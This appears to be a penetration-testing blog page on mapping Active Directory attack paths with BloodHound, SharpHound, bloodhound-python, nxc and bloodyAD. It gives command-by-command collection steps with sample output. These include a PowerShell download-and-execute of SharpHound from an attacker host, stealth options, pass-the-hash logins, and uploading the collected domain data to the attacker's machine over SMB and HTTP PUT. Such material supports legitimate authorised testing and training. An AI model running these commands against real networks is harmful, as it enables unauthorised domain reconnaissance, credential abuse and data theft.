Skip to content
HackIndex logo

HackIndex

BloodHound and SharpHound Collection

6 min read Jul 10, 2026

BloodHound maps attack paths through Active Directory by collecting relationships between users, computers, groups, and ACLs and visualising the shortest path to Domain Admin. SharpHound is the Windows-based collector. BloodHound.py and other tools handle collection from Linux. The output is a ZIP of JSON files that loads directly into BloodHound.

SharpHound — Windows collection

SharpHound runs on a domain-joined host or from any host with domain credentials. It contacts the DC and domain hosts directly to collect session, trust, ACL, and object data. On Kali: /usr/share/sharphound/SharpHound.exe

PS C:\Users\Guest\Desktop> # Full collection — all methods (noisiest, most complete)
PS C:\Users\Guest\Desktop> C:\Windows\Temp\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\bh
 
PS C:\Users\Guest\Desktop> # DC only — queries only the DC, no lateral host queries (stealthier)
PS C:\Users\Guest\Desktop> C:\Windows\Temp\SharpHound.exe -c DCOnly --outputdirectory C:\Windows\Temp\bh
 
PS C:\Users\Guest\Desktop> # Specific methods
PS C:\Users\Guest\Desktop> C:\Windows\Temp\SharpHound.exe -c ACL,ObjectProps,Trusts --outputdirectory C:\Windows\Temp\bh
 
PS C:\Users\Guest\Desktop> # Stealth — randomise delay between requests
PS C:\Users\Guest\Desktop> C:\Windows\Temp\SharpHound.exe -c All --stealth --outputdirectory C:\Windows\Temp\bh
 
PS C:\Users\Guest\Desktop> # Run with specific domain credentials
PS C:\Users\Guest\Desktop> C:\Windows\Temp\SharpHound.exe -c All --domain $DOMAIN --ldapusername $USER --ldappassword $PASSWORD --outputdirectory C:\Windows\Temp\bh
 
PS C:\Users\Guest\Desktop> # Load from memory — no binary on disk
PS C:\Users\Guest\Desktop> IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/SharpHound.ps1')
PS C:\Users\Guest\Desktop> Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Windows\Temp\bh 
[+] Creating randomized filenames
[+] Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
[+] Initializing SharpHound at 14:23:01 on 04/05/2026
[+] Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
[+] Finished enumeration for CORP.LOCAL in 00:00:14.1337
[+] Zipping files to C:\Windows\Temp\bh\20260405142315_BloodHound.zip

Collection methods explained:

  • All — everything, queries domain hosts for local admins and sessions (noisy)

  • DCOnly — only queries the DC via LDAP, no host-to-host traffic (stealthy, misses session data)

  • ACL — ACL relationships only — the most valuable for privilege escalation path finding

  • Session — where users are currently logged in (requires connecting to each host)

  • ObjectProps — user and computer properties from LDAP

Transfer the ZIP to your attack box

PS C:\Users\Guest\Desktop> # Via SMB to attack box
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\bh\*.zip \\$LHOST\share\
PS C:\Users\Guest\Desktop> # Via HTTP PUT
PS C:\Users\Guest\Desktop> $wc = New-Object System.Net.WebClient
PS C:\Users\Guest\Desktop> $wc.UploadFile('http://$LHOST:8080/bh.zip', 'PUT', 'C:\Windows\Temp\bh\20260405142315_BloodHound.zip')
 
PS C:\Users\Guest\Desktop> # Via base64 encode and paste
PS C:\Users\Guest\Desktop> [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Windows\Temp\bh\20260405142315_BloodHound.zip'))

BloodHound.py — collection from Linux

BloodHound.py collects from Linux without needing a Windows foothold. It communicates directly with the DC over LDAP and SMB using any valid domain credentials.

┌──(kali㉿kali)-[~]
└─$ # Install
┌──(kali㉿kali)-[~]
└─$ pipx install bloodhound
 
┌──(kali㉿kali)-[~]
└─$ # Full collection
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c All
 
┌──(kali㉿kali)-[~]
└─$ # DC only — stealthier, no host queries
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c DCOnly
 
┌──(kali㉿kali)-[~]
└─$ # With Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -d $DOMAIN -u $USER --hashes :$NTHASH -dc $TARGET_IP -c All
 
┌──(kali㉿kali)-[~]
└─$ # With Kerberos ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER.ccache
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -d $DOMAIN -u $USER -dc $TARGET_IP -c All -k --no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Specify nameserver (when DNS does not resolve domain names)
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c All --dns-tcp -ns $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Output to specific directory
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c All -o /tmp/bh_output/ 
INFO: Found AD domain: corp.local
INFO: Connecting to LDAP server: 10.10.10.10
INFO: Found 1 domains
INFO: Found 3 computers
INFO: Found 24 users
INFO: Found 15 groups
INFO: Done in 00M 12S

nxc BloodHound collection

nxc can trigger SharpHound execution on a remote host via SMB without needing an interactive shell — useful when you have credentials but no direct shell on a domain-joined host.

┌──(kali㉿kali)-[~]
└─$ # Run SharpHound remotely via nxc and retrieve ZIP
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --bloodhound -c All
 
┌──(kali㉿kali)-[~]
└─$ # DC only collection
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --bloodhound -c DCOnly
 
┌──(kali㉿kali)-[~]
└─$ # Output saved to current directory as ZIP
┌──(kali㉿kali)-[~]
└─$ ls *.zip 
LDAP  10.10.10.10  389  DC01  [*] Compressing output into 20260405_BloodHound.zip
LDAP  10.10.10.10  389  DC01  [+] 20260405_BloodHound.zip written to current directory

BloodyAD — targeted collection without ZIP

BloodyAD does not produce BloodHound ZIPs but its get writable and get search queries cover the most actionable enumeration — writable objects and delegation targets — without the overhead of a full BloodHound run.

┌──(kali㉿kali)-[~]
└─$ # What can current user write
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --detail
 
┌──(kali㉿kali)-[~]
└─$ # Unconstrained delegation targets
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))' --attr dNSHostName
 
┌──(kali㉿kali)-[~]
└─$ # Kerberoastable accounts
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))' --attr 'sAMAccountName,servicePrincipalName'

BloodHound Community Edition (CE)

BloodHound CE is the current maintained version. It replaces the legacy Electron app and neo4j-only setup with a containerised stack and a web UI.

Starting BloodHound CE

On Kali, CE ships via Docker Compose:

┌──(kali㉿kali)-[~]
└─$ curl -L https://ghst.ly/getbhce | docker compose -f - up

First-run credentials are printed to stdout — look for Initial Password Set To:. The web UI opens at http://localhost:8080.

If you have the standalone bloodhound package installed (legacy), start it with:

┌──(kali㉿kali)-[~]
└─$ sudo neo4j start
┌──(kali㉿kali)-[~]
└─$ bloodhound

CE and legacy are separate installs. CE is the default going forward.

Collecting for CE

SharpHound output (ZIP) is CE-compatible since v2.0 — no changes needed. bloodhound-python produces CE-compatible ZIPs with --zip:

┌──(kali㉿kali)-[~]
└─$ bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c All --zip

Without --zip, bloodhound-python writes individual JSON files. CE accepts both — drag the ZIP or folder into the web UI upload at http://localhost:8080.

Uploading to CE

In the CE web UI: Administration → File Ingest → Upload Files. Drag the ZIP or individual JSON files. CE processes them in the background — check status under Administration → File Ingest Status.

Loading and analysing in BloodHound

After collection, load the ZIP into BloodHound and run these queries first to identify the most direct attack paths.

  • Shortest Paths to Domain Admins — fewest hops from your current account to DA

  • Find Principals with DCSync Rights — accounts that can dump all domain hashes without being DA

  • Shortest Path from Owned Principals — mark your account as owned first, then run this

  • Find Computers with Unconstrained Delegation — coercion targets for TGT theft — see Unconstrained Delegation Abuse

  • Find AS-REP Roastable Users — accounts with pre-auth disabled — see AS-REP Roasting

  • Find Kerberoastable Users in High Value Groups — high-impact SPN accounts — see Kerberoasting

For acting on what BloodHound finds see Active Directory ACL Enumeration and ACL Abuse Privilege Escalation.

Related

Unconstrained Delegation Abuse – TGT Capture
Blog

Unconstrained Delegation Abuse – TGT Capture

Exploit unconstrained Kerberos delegation to capture TGTs from authenticating hosts, enabling latera...
AS-REP Roasting
Blog

AS-REP Roasting

Exploit accounts with Kerberos pre-authentication disabled to capture AS-REP hashes offline for pass...
ACL Enumeration
Blog

ACL Enumeration

Techniques for enumerating Access Control Lists in Active Directory to identify misconfigured permis...
ACL Abuse Privilege Escalation
Blog

ACL Abuse Privilege Escalation

Exploiting misconfigured Active Directory ACLs to escalate privileges via WriteDACL, GenericAll, For...

References